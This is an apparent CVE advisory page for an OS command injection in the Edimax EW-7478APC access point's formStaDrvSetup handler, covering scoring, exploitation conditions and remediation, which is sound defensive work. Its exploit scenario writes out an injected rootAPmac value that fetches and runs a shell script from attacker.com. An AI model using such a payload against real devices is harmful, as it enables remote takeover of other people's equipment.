Skip to main content

Edimax EW-7478APC CVE-2026-13581

| EUVDEUVD-2026-40125 LOW
OS Command Injection (CWE-78)
2026-06-29 VulDB GHSA-pfpf-9r26-33qm
2.1
CVSS 4.0 · Vendor: VulDB
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Identify EW-7478APC web interface on network
  2. Delivery
    Authenticate with low-privilege credentials
  3. Exploit
    Craft POST request to /goform/formStaDrvSetup
  4. Execution
    Inject OS commands via rootAPmac parameter
  5. Impact
    Execute arbitrary commands at firmware OS level

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires network access to the Edimax EW-7478APC web management interface and a valid authenticated session at low privilege level, as confirmed by PR:L in the provided CVSS 4.0 vector. The vulnerable code path is triggered by a POST request to /goform/formStaDrvSetup with a malicious rootAPmac parameter value containing shell metacharacters. No special non-default firmware configuration beyond having the web management interface reachable is required. Exploitation is limited by the authentication requirement (PR:L - unauthenticated exploitation is not supported by the CVSS vector), and by the device's typical deployment on internal networks rather than directly internet-exposed. However, devices configured with default or weak credentials, or with remote management enabled and internet-facing, substantially reduce this barrier. The wildcard CPE version suggests the vulnerable function exists across multiple firmware versions, not only 1.04.

Impact

Real-world risk is substantially higher than the CVSS 4.0 score of 2.1 suggests. The provided vector (AV:N/AC:L/AT:N/PR:L/UI:N) confirms this is a low-complexity, network-reachable attack requiring only low-level authentication - a configuration consistent with a device's standard web UI. However, the assigned impact metrics of VC:L/VI:L/VA:L are inconsistent with the nature of CWE-78 OS command injection on embedded Linux devices, where arbitrary command execution almost universally yields root-level control, full confidentiality loss, and complete device availability impact. This scoring discrepancy should be flagged: CVSS indicates Low impact but the vulnerability class (OS command injection) implies High impact - security teams should independently assess. The E:P modifier confirms a public exploit exists, raising exploitability. The device is not listed in CISA KEV, suggesting no confirmed widespread in-the-wild exploitation at time of analysis. EPSS data was not provided in the available intelligence. The vendor's non-response to disclosure eliminates any near-term patch timeline, making compensating controls the only defensive option.

Exploit ScenarioDerived

An attacker with low-privilege credentials to the Edimax EW-7478APC web interface sends a crafted HTTP POST request to /goform/formStaDrvSetup with a rootAPmac value containing injected shell commands, such as AA:BB:CC:DD:EE:FF; wget http://attacker.com/shell.sh -O /tmp/s && sh /tmp/s. The firmware's formStaDrvSetup handler passes this value unsanitized to a system shell call, executing the injected commands with the web server's process privileges - typically root on embedded Linux devices. A public proof-of-concept demonstrating this technique is available and indexed by VulDB, lowering the skill threshold for exploitation.

Monitor Track and reassess. Why: LOW severity (CVSS 0.1-3.9).
No patch listed yet 1.2% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Jun 29, 2026

OS command injection in the Edimax EW-7478APC wireless access point firmware 1.04 allows a network-reachable authenticated attacker to execute arbitrary OS commands on the device by manipulating the rootAPmac parameter in POST requests to /goform/formStaDrvSetup. A public proof-of-concept exploit is available, indexed by VulDB and documented externally, and the vendor did not respond to responsible disclosure - making a vendor-released patch unlikely in the near term. The provided CVSS 4.0 score of 2.1 appears to significantly understate actual impact, as OS command injection on embedded Linux network devices typically yields full device compromise rather than the 'Low' impact across all three dimensions assigned in the vector.

RemediationAI

No vendor-released patch is available at time of analysis; the vendor did not respond to responsible disclosure, and no fix version has been identified. As the primary compensating control, immediately restrict access to the device's web management interface (typically TCP port 80/443) using firewall rules or ACLs so that only trusted management hosts or VLANs can reach the admin panel - this eliminates network-reachable exploitation by blocking the attack vector. Disable remote management features if they are enabled, as these expose the vulnerable endpoint to broader networks. Enforce strong, non-default credentials on the management interface to raise the cost of the required low-privilege authentication step. For security-sensitive environments, consider replacing the EW-7478APC with a supported device from a vendor with an active security response program. Monitor VulDB (https://vuldb.com/cve/CVE-2026-13581) for any future vendor patch release. The primary trade-off of network segmentation is reduced out-of-band management convenience.

Affected VersionsENISA

EW-7478APC 1.04

Affected Packages

euvd ew_7478apc no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability exists in the formStaDrvSetup C function within the device's CGI-based web management firmware, which handles POST requests to the /goform/formStaDrvSetup endpoint. The rootAPmac argument - designed to accept a MAC address for WDS/repeater station driver configuration - is passed directly into a shell execution context without sanitization, constituting a classic CWE-78 (Improper Neutralization of Special Elements used in an OS Command). The Edimax EW-7478APC is an 802.11ac wireless access point and range extender running embedded Linux firmware. CPE string cpe:2.3:a:edimax:ew-7478apc:*:*:*:*:*:*:*:* uses a wildcard version field, indicating the entire firmware line may be affected rather than solely version 1.04. Shell metacharacters such as semicolons, backticks, or pipe symbols injected into the rootAPmac value break out of the intended MAC address context and execute as OS-level commands.

Know when Ew 7478Apc gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (VulDB) PRIMARY 2.1 MEDIUM
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N/E:P
vuln.today AI 9.9 CRITICAL

Network-reachable OS command injection with low-priv auth breaks out to OS scope, justifying S:C and C:H/I:H/A:H regardless of provided Low-impact scoring.

3.1 AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
4.0 AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Primary rating from Vendor (VulDB).

CVSS VectorVendor: VulDB

Attack Vector
Network
Attack Complexity
Low
Attack Requirements
None
Privileges Required
Low
User Interaction
None
Vulnerable system: Confidentiality
Low
Vulnerable system: Integrity
Low
Vulnerable system: Availability
Low
Subsequent system: Confidentiality
None
Subsequent system: Integrity
None
Subsequent system: Availability
None

Lifecycle Timeline

2
Severity Changed
Jun 29, 2026 - 16:22 NVD
MEDIUM LOW
CVSS changed
Jun 29, 2026 - 16:22 NVD
5.3 (MEDIUM) 2.1 (LOW)

DescriptionCVE.org

A vulnerability was detected in Edimax EW-7478APC 1.04. This vulnerability affects the function formStaDrvSetup of the file /goform/formStaDrvSetup of the component POST Request Handler. The manipulation of the argument rootAPmac results in os command injection. The attack can be executed remotely. The exploit is now public and may be used. The vendor was contacted early about this disclosure but did not respond in any way.

Threat Intelligence Overview

EPSS Score
1.2%
Top 37% exploitable
Prevalence
Low
niche SOHO/consumer wireless AP from smaller regional vendor
Exploit
POC
Public exploit code exists
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity LOW
CISA KEV No
Public POC Yes
EPSS 1.2%
Patch available No
Active threat No
Deciding rule
LOW severity (CVSS 0.1-3.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
Poc
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Low
Technical Impact
Partial

Priority Score

31
Low Medium High Critical
KEV: 0
EPSS: +1
CVSS: +10
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy